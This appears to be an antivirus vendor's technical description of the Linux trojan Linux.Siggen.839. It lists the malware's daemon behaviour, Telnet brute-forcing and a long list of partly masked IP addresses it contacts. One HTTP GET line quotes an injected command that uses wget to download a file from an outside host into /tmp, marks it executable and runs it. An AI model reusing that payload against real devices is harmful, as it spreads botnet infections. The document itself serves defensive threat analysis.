Linux.Siggen.839

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

bbm5mcf5chbglph3

Kills the following processes:

<SAMPLE>

Network activity:

Awaits incoming connections on ports:

127.0.0.1:1822

Establishes connection:

8.#.8.8:53
80.###.67.245:3287
23.###.162.206:80
21#.##5.131.146:80
21#.##.233.34:80
21#.##.202.106:80
21#.##.198.125:80

Attacks using a special dictionary (brute-force technique) via the Telnet protocol.

HTTP GET requests:

http://###.##.###.#########.###########20aa%27;wget%20http://80.211.67.245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$

Sends data to the following servers:

57.###.47.241:52869
19#.###.47.241:37215
19#.##.127.95:37215
15#.###.180.240:37215
65.###.47.241:8080
21#.##.222.208:80
10#.##7.239.255:80
80.##1.8.210:80
51.##.71.245:80
21#.##.63.95:52869
54.##.246.240:52869
84.##.50.116:52869
87.###.74.68:52869
19#.##.114.116:37215
41.###.8.70:37215
19#.###.76.215:37215
19#.###.181.226:37215
15#.##.130.117:37215
23.###.162.206:80
21#.##2.171.249:80
21#.##.71.194:80
12#.###.239.224:52869
19#.##.135.193:52869
81.###.186.233:52869
12#.##.38.91:52869
12.##.223.7:52869
11#.##3.153.214:80
11#.#.36.88:80
21#.#0.1.6:8080
22#.##1.162.226:80
15#.###.102.91:37215
19#.###.187.49:37215
41.###.7.137:37215
19#.###.120.46:37215
18#.##.211.149:52869
10#.###.186.10:52869
18#.###.209.179:52869
46.##.224.211:52869
17#.##7.111.8:52869
21#.##3.52.32:80
80.###.67.245:3287
20#.##8.62.90:80
16#.#.112.70:80
21#.##0.5.233:80
41.###.113.53:37215
19#.###.118.96:37215
99.##.22.81:52869
65.##.76.179:52869
18#.##.37.98:52869
41.##.30.153:37215
19#.##.225.237:37215
15#.##4.0.165:37215
15#.###.228.48:37215
19#.##.250.22:37215
21#.##.141.43:80
21#.##1.204.166:80
21#.##9.255.247:80
21#.##5.131.146:80
20#.##.222.180:8080
76.###.191.54:52869
13#.##.190.31:52869
19#.###.85.132:37215
41.###.116.142:37215
41.###.117.200:37215
15#.###.54.104:37215
18#.###.225.41:52869
78.#.#98.239:52869
10#.##.181.79:52869
99.###.114.139:52869
12#.##.210.100:52869
21#.##5.255.90:80
22#.##4.186.214:80
36.###.147.235:80
21#.##9.171.154:80
15#.##2.99.32:37215
41.###.213.206:37215
41.###.207.119:37215
41.##.220.6:37215
49.###.62.38:52869
11#.###.228.29:52869
20#.###.142.44:52869
21#.##4.208.248:80
16#.##1.45.221:80
18#.##.187.78:80
20#.##3.196.167:80
19#.###.41.139:37215
19#.###.59.214:37215
19#.###.70.240:37215
41.###.169.50:37215
15#.###.232.115:37215
21#.##.28.190:52869
14#.##.0.201:52869
11#.##9.110.4:52869
66.##.47.198:52869
73.###.196.244:52869
99.###.208.107:52869
64.##.91.211:52869
19#.##1.83.88:8080
21#.##.176.121:80
21#.#.35.62:80
21#.##3.211.102:80
15#.###.232.140:37215
15#.##.243.201:37215
41.##.211.211:37215
15#.###.173.106:37215
10#.##.157.232:80
75.##1.55.81:80
19#.#.169.11:80
23.###.177.25:52869
22#.###.186.242:52869
80.###.238.134:52869
11#.##.101.131:52869
16#.##.151.218:52869
76.###.131.123:52869
19#.###.196.144:37215
19#.###.235.121:37215
19#.#.76.123:37215
19#.##.148.174:37215
21#.##1.87.127:80
96.###.135.72:80
21#.##.183.153:80
15#.###.161.170:37215
15#.##.97.208:37215
15#.##.71.105:37215
41.###.114.51:37215
20#.##.194.97:8080
17#.##.52.154:80
38.###.174.85:80
59.##.5.250:80
21#.##9.190.246:80
19#.###.177.168:52869
40.##.44.208:52869
14#.###.189.169:52869
59.###.143.64:52869
14#.###.206.102:52869
41.##.119.134:37215
19#.###.249.22:37215
41.###.196.231:37215
19#.##.68.136:80
21#.##6.178.121:80
21#.##.34.101:80
90.##.252.193:80
21#.##5.48.68:80
88.##.130.238:52869
21#.###.106.209:52869
43.###.55.229:52869
77.##.46.136:52869
19#.###.142.161:52869
41.##.92.196:37215
41.##.223.45:37215
15#.##.154.51:37215
41.##.150.250:37215
19#.###.189.196:37215
82.##.196.189:8080
21#.##.235.131:80
47.###.170.200:80
21#.##3.209.53:80
21#.#.128.41:80
83.###.181.2:52869
72.###.117.98:52869
17#.###.227.208:52869
22#.##7.98.55:52869
19#.##.224.25:37215
41.##.86.82:37215
41.###.68.43:37215
15#.##.76.86:37215
41.##.215.206:37215
66.###.66.11:52869
31.##.40.148:52869
15#.###.179.19:52869
17#.##.108.219:52869
17#.#.146.130:80
21#.#1.1.61:80
21#.##2.43.243:80
21#.##.177.142:80
10#.##2.84.177:80
41.###.54.233:37215
19#.##.240.78:37215
19#.##.15.15:37215
15#.##.68.25:37215
15#.###.194.97:37215
98.#.#6.69:52869
90.##.54.37:52869
14#.###.181.106:52869
14#.###.132.213:8080
18#.##.224.227:80
21#.#.78.80:80
53.###.227.229:80
21#.##7.158.163:80
96.##.84.9:52869
15#.###.178.61:52869
18#.##.36.176:52869
19#.##3.89.10:52869
11#.##4.72.69:52869
41.##.240.235:37215
15#.##0.98.4:37215
41.###.105.195:37215
41.###.96.210:37215
19#.###.53.193:37215
18#.##7.146.117:80
21#.#9.0.201:80
87.##.157.23:80
11#.##1.14.132:80
19#.##7.213.34:80
21#.##4.67.229:8080
59.###.244.231:80
21#.##.119.183:80
39.###.159.216:52869
13#.###.250.17:52869
15#.###.111.86:37215
19#.###.225.35:37215
41.###.161.26:37215
15#.##.169.52:37215
15#.###.156.128:37215
15#.##9.80.23:37215
20#.###.153.207:52869
10#.##.69.143:52869
32.###.76.66:52869
98.##.41.48:52869
13#.##6.40.21:52869
38.##.113.17:52869
13#.##.181.218:52869
12#.##4.23.15:80
21#.#.190.228:80
16#.##.65.167:80
21#.##.37.192:80
21#.##8.177.70:80
15#.##.135.249:37215
41.###.61.137:37215
15#.##.233.252:37215
41.##.215.133:37215
41.###.243.208:37215
67.##.91.38:52869
18#.##.100.102:52869
16#.##.234.255:52869
35.###.15.66:52869
18#.#0.60.18:80
21#.##.233.34:80
20#.##2.229.99:8080
21#.##7.253.249:80
15#.##.199.135:37215
41.###.128.155:37215
19#.###.197.116:37215
15#.##.90.110:37215
15#.###.41.253:37215
21#.###.109.141:52869
73.###.176.186:52869
17#.###.190.91:52869
91.##.211.28:52869
20#.###.35.188:52869
21#.##2.140.219:80
21#.#8.107.2:80
21#.##8.200.123:80
21#.##9.238.42:80
11#.##5.254.77:80
41.###.231.163:37215
41.##.141.234:37215
15#.##.44.137:37215
15#.###.33.109:37215
41.###.94.173:37215
51.##.183.204:52869
1.##.#7.212:52869
20#.###.60.217:52869
14#.##.93.255:52869
17#.##9.181.87:80
21#.##1.100.49:80
85.##.63.133:80
21#.##.218.196:8080
41.###.108.76:37215
19#.###.152.127:37215
15#.##.2.212:37215
15#.###.250.221:37215
21#.##.130.42:80
21#.##1.210.94:80
21#.##5.23.227:80
94.###.124.182:52869
12#.##.100.9:52869
18#.##.104.154:52869
68.###.193.174:52869
43.###.124.5:52869
41.###.116.241:37215
15#.##1.4.79:37215
19#.##.79.69:37215
19#.###.212.226:37215
19#.###.225.182:37215
72.###.173.15:80
21#.##.242.232:80
21#.##5.127.156:80
21#.##.124.201:80
21#.##1.11.118:80
91.###.196.63:80
11#.###.129.143:52869
20#.###.227.173:52869
11#.##8.21.9:52869
16#.###.251.90:52869
14#.###.224.24:52869
21#.##.103.14:52869
15#.##.168.139:37215
15#.##7.83.34:37215
41.###.107.138:37215
15#.##.234.98:37215
87.##.85.111:8080
21#.##.185.73:80
21#.##8.219.135:80
21#.##8.68.37:80
48.###.191.179:80
19#.###.225.82:37215
41.##.110.51:37215
19#.##.77.253:37215
41.##.200.173:37215
17#.##.61.42:52869
19#.##4.55.96:52869
12#.###.188.193:52869
87.###.54.195:52869
15#.##7.95.43:37215
41.###.237.100:37215
41.###.249.53:37215
15#.###.198.48:37215
15#.###.223.106:37215
17.###.91.81:52869
15#.##.216.107:52869
59.###.35.69:52869
10#.##3.73.84:52869
95.###.151.117:52869
18#.##.168.33:80
13#.##.64.126:80
21#.##6.96.80:80
21#.##4.148.149:80
19#.##.88.148:37215
41.##.86.224:37215
19#.###.232.43:37215
41.###.163.108:37215
21#.#.79.88:80
21#.###.197.229:8080
21#.##8.20.172:80
22#.##8.46.141:80
21#.##8.214.138:80
22#.#.102.50:52869
19#.###.73.112:52869
15#.##7.144.7:52869
19#.###.183.134:52869
12#.#.17.47:52869
41.###.214.164:37215
19#.###.228.144:37215
15#.##.70.141:37215
41.###.239.149:37215
19#.##.221.48:37215
21#.##.198.125:80
18#.#.251.78:80
13#.##3.30.66:80
15#.##.174.32:80
21#.##5.139.5:80
11#.###.113.96:52869
74.##.88.201:52869
14#.###.246.208:52869
18#.##5.70.56:52869
41.###.80.88:52869
41.#.#16.142:37215
19#.##.15.47:37215
15#.###.120.54:37215
15#.###.197.18:37215
18#.#.216.247:80
21#.#.55.196:8080
4.###.252.81:80
21#.##.202.106:80
19#.##.146.201:80
19#.###.229.29:52869
43.##.213.151:52869
11#.###.157.154:52869
19#.##.146.117:37215
15#.###.176.135:37215
41.#.#01.126:37215
15#.##.29.29:37215
41.###.173.255:37215
19#.###.33.239:52869
19#.###.225.19:52869
18#.###.222.244:52869
27.#.#39.12:52869
78.##.212.72:52869
20#.##2.46.95:80
9.##.41.195:80
74.##.84.71:80
25.###.210.241:80
22#.##2.86.89:80
18#.#2.19.15:80
15#.#.207.146:37215
19#.###.187.81:37215
15#.###.67.210:52869
21#.###.158.194:52869
12#.##.177.174:52869
21#.##.141.247:52869
15#.###.163.243:37215
19#.##0.43.1:37215
41.###.43.106:37215
15#.###.61.196:37215
10#.##2.75.233:8080
21#.##1.161.11:80
88.##.19.254:52869
63.###.137.157:52869
90.###.151.88:52869
77.##.150.2:52869
25.##.79.40:52869
2.###.12.152:80
17#.##4.181.141:80
21#.##9.53.90:80
71.##.35.156:80
21#.#.229.41:80
15#.##.41.182:37215
41.###.139.124:37215
19#.###.133.168:37215
15#.###.65.237:52869
13#.##.173.22:52869
77.##.166.71:52869
19#.###.102.161:52869
41.##.239.75:37215
41.###.165.76:37215
41.###.61.142:37215
19#.###.29.109:37215
60.##6.3.29:80
20#.#30.2.60:80
21#.##.201.192:80
21#.###.197.231:8080
58.##.127.107:80
19#.##.144.57:52869
42.##.30.179:52869
77.###.13.28:52869
15#.##4.22.53:37215
41.##.135.5:37215
41.###.49.207:37215
15#.##6.45.87:37215
41.###.35.111:37215
21#.##.40.188:80
19#.##3.86.54:80
34.##.59.167:52869
18#.##.79.47:52869
89.###.42.201:52869
20#.##2.85.82:52869
52.###.190.154:52869
35.###.249.31:80
21#.##5.44.236:80
21#.##.75.133:80
15#.###.109.22:37215
15#.##.249.100:37215
19#.##.123.116:37215
41.##.52.214:37215
21#.##.47.205:80
21#.##1.178.40:80
16#.##.154.172:52869
12#.###.140.46:52869
20#.##.128.9:52869
45.###.72.203:52869
41.###.147.249:52869
19#.##.203.3:37215
15#.##.222.77:37215
15#.###.137.191:37215
41.###.135.145:37215
41.###.19.202:37215
12#.#1.2.9:80
21#.##.20.32:8080
16#.#.21.198:80
21#.#.91.148:80
19#.##3.132.191:80
21#.##3.185.191:80
13#.###.129.215:52869
11#.###.173.244:52869
15#.##.209.185:52869
19#.##.41.194:37215
41.###.134.61:37215
15#.###.173.125:37215
9.#.#3.35:80
21#.##.199.69:80
21#.##9.89.238:80
11#.#8.57.13:80
89.#.73.253:80
84.###.121.32:52869
82.###.37.103:52869
20#.###.237.109:52869
17#.###.50.104:52869
19#.##.183.163:37215
41.###.150.33:37215
68.##.167.141:8080
21#.##.205.16:80
21#.##9.225.19:80
21#.##9.28.127:80
16#.#4.9.77:80
21#.##.124.206:80
10#.##5.82.88:80
21#.##.112.152:80
21#.#2.75.74:80
21#.##7.159.129:80
21#.###.223.110:8080
21#.#.34.195:80
21#.#6.75.17:80
21#.##4.166.72:80
16#.##.15.246:80
15#.##6.250.102:80
10#.##.27.142:80
19#.##4.197.208:80
17#.##.30.138:80
21#.##2.194.79:80
21#.###.228.249:8080
15#.##4.203.72:80
20#.#5.2.253:80
21#.##1.108.181:80
95.###.195.213:80
21#.#07.47.4:80
21#.##8.79.62:80
17.##.167.218:80
21#.#8.70.29:80
4.###.208.168:80
61.##.23.240:8080
14.###.246.96:80
17#.#60.32.4:80
41.##.216.252:80
21#.#0.54.38:80
21#.##5.226.0:80
21#.##1.240.230:80
11#.##1.164.226:80
21#.##3.22.124:80
13#.#1.36.63:80
21#.##0.36.132:8080
21#.##7.178.49:80
14#.##.184.208:80
12#.##8.69.123:80
95.###.195.26:80
21#.##7.102.89:80
21#.##9.190.11:80
21#.##8.221.56:80
21#.##3.237.27:80
21#.##0.241.231:80
21#.##1.84.254:8080
21#.##.190.76:80
16#.##7.75.163:80
10#.##7.101.129:80
97.##.156.56:80
21#.##.105.239:80
21#.##9.12.206:80
18#.##.19.111:80
21#.##0.64.130:80
11#.##.107.134:80
21#.###.203.117:8080
20#.##0.55.160:80
21#.##9.138.139:80
21#.##8.163.73:80
21#.#.131.175:80
21#.##.226.69:80
13#.##1.193.233:80
88.###.189.219:80
21#.##5.248.6:80
21#.#0.35.75:80
41.###.85.84:8080
21#.##6.149.184:80
21#.#5.26.19:80
21#.#.220.180:80
14.###.253.182:80
13#.##6.33.175:80
18#.##7.154.125:80
21#.##.153.109:80
21#.#16.29.7:80
53.###.120.128:80
21#.###.211.205:8080
21#.##.152.69:80
21#.##6.193.4:80
21#.##.205.62:80
21#.##5.15.133:80
21#.#6.4.128:80
21#.##5.158.117:80
21#.##.39.176:80
18#.##1.199.245:80
21#.##6.155.183:80
51.###.31.201:8080
10#.##6.249.59:80
12#.##1.200.158:80
21#.##4.173.18:80
21#.##.100.72:80
17#.##4.161.211:80
21#.##7.70.80:80
21#.##5.200.36:80
21#.#6.16.53:80
21#.##.241.177:80
21#.##.53.230:8080
13#.#1.53.66:80
21#.#.61.43:80
21#.##7.40.118:80
21#.##3.49.161:80
21#.##.37.103:80
21#.##.159.23:80
12#.##.209.80:80
21#.##6.180.198:80
21#.##7.81.184:80
21#.#.107.230:8080
21#.##4.97.63:80
21#.##6.137.251:80
19#.##5.43.115:80
41.##.207.191:80
21#.##2.109.78:80
21#.##4.181.252:80
13#.##1.2.131:80
22#.##6.139.11:80
21#.#.23.215:80
21#.###.248.134:8080
21#.#23.2.95:80
17#.##7.89.158:80
21#.##.65.221:80
21#.##5.132.110:80
21#.##.188.87:80
21#.##4.200.149:80
12#.##5.117.246:80
14#.##.101.89:80
21#.#84.6.82:80
18#.##.211.100:8080
52.###.37.184:80
18#.##6.186.145:80
21#.#5.8.146:80
21#.##1.192.235:80
16#.##.85.170:80
21#.#.235.63:80
21#.##9.156.99:80
21#.##7.14.35:80
21#.##0.120.160:80
21#.##9.40.54:8080
21#.##7.121.39:80
21#.##7.23.178:80
21#.##7.245.13:80
21#.##1.44.180:80
31.###.31.116:80
19#.#1.34.11:80
21#.##2.10.81:80
94.##3.5.67:80
21#.##3.199.221:80
42.###.20.156:8080
21#.#.166.69:80
21#.##.164.164:80
21#.##.92.131:80
17#.##9.159.95:80
21#.#0.98.0:80
21#.##.61.155:80
21#.##6.85.71:80
21#.##.120.124:80
13.###.88.223:80

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations